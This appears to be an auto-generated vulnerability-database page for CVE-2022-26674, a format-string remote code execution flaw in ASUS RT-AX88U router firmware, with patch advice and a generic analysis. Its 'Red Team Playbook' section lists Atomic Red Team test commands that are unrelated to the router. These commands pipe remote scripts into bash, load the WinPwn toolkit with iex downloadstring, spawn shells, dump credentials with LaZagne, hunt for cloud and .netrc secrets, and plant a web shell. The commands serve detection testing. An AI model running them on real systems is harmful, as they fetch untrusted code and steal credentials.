CVE-2022-26674
Overview
The vulnerability is a format string flaw in the ASUS RT-AX88U firmware, specifically related to improper handling of user-supplied input in formatted output functions. This flaw occurs due to insufficient validation of format specifiers in the affected component, allowing uncontrolled memory write operations. The issue resides in the device's firmware processing routines that handle remote input data without appropriate sanitization.
Vulnerability Description
ASUS RT-AX88U has a Format String vulnerability, which allows an unauthenticated remote attacker to write to arbitrary memory address and perform remote arbitrary code execution, arbitrary system operation or disrupt service.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on the ASUS RT-AX88U device, perform unauthorized system operations, or cause denial of service by disrupting normal firmware execution. No user interaction or prior authentication is required (AV:N/AC:L/PR:N/UI:N). This can lead to full compromise of the device, potentially allowing attackers to manipulate network traffic or gain persistent access within the affected environment.
Solution
ASUS has released firmware updates addressing this format string vulnerability for the RT-AX88U model. Users should apply the latest firmware version as detailed in the advisory published by TW-CERT (https://www.twcert.org.tw/tw/cp-132-6043-0f72c-1.html). The advisory provides specific update instructions and version numbers to remediate the issue. Immediate application of the vendor-supplied patch is recommended to eliminate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the ASUS RT-AX88U router is characterized as a Format String vulnerability, a type of security flaw that arises when an application improperly handles user-supplied input. In this case, the router's firmware fails to adequately validate input strings, allowing an attacker to manipulate the format string parameters. This oversight can lead to the execution of arbitrary code by writing to arbitrary memory addresses. The implications of this flaw are severe, as it can enable an unauthenticated remote attacker to gain control over the device, execute malicious operations, or disrupt services, thereby compromising the integrity and availability of the network.
Attack vectors for exploiting this vulnerability are particularly concerning due to the potential for remote exploitation without authentication. An attacker could craft a specially designed request that takes advantage of the format string issue, sending it to the router over the network. This could be done through various protocols that the router supports, such as HTTP or UPnP, making it accessible to a wide range of potential attackers. Once the crafted input is processed by the router, the attacker could manipulate the execution flow, allowing them to execute arbitrary code. Scenarios might include deploying malware, creating backdoors for persistent access, or even launching further attacks against devices connected to the compromised network.
The real-world impact of this vulnerability is significant, particularly for businesses relying on the ASUS RT-AX88U for their networking needs. The potential for remote code execution means that an attacker could gain complete control over the device, leading to data breaches, unauthorized access to sensitive information, or disruption of critical services. For organizations, this could result in financial losses, reputational damage, and legal liabilities, especially if customer data is compromised. Furthermore, the ease of exploitation increases the risk of widespread attacks, as many users may not be aware of the vulnerability or may not have implemented adequate security measures.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the router's firmware is crucial, as manufacturers often release patches to address known vulnerabilities. Network monitoring tools can also be employed to detect unusual traffic patterns or unauthorized access attempts, providing an additional layer of security. Furthermore, organizations should consider segmenting their networks to limit exposure; for example, placing vulnerable devices on a separate VLAN can help contain potential breaches. Educating users about the importance of changing default credentials and employing strong, unique passwords can further reduce the risk of exploitation.
In conclusion, the Format String vulnerability in the ASUS RT-AX88U router represents a critical security risk that can have far-reaching consequences for both individual users and organizations. The ability for an unauthenticated remote attacker to execute arbitrary code underscores the need for proactive security measures, including timely firmware updates, network segmentation, and user education. By understanding the nature of this vulnerability and implementing robust detection and mitigation strategies, organizations can better protect themselves against potential threats and safeguard their networks from exploitation.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Asus | Rt-Ax88u Firmware | All |
cpe:2.3:o:asus:rt-ax88u_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-135 | Format String Injection |
51%
|
High | High | |
| CAPEC-67 | String Format Overflow in syslog() |
35%
|
High | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-26674 |
| twcert.org.tw |
GitHub CVE
x_refsource_MISC
|
https://www.twcert.org.tw/tw/cp-132-6043-0f72c-1.html |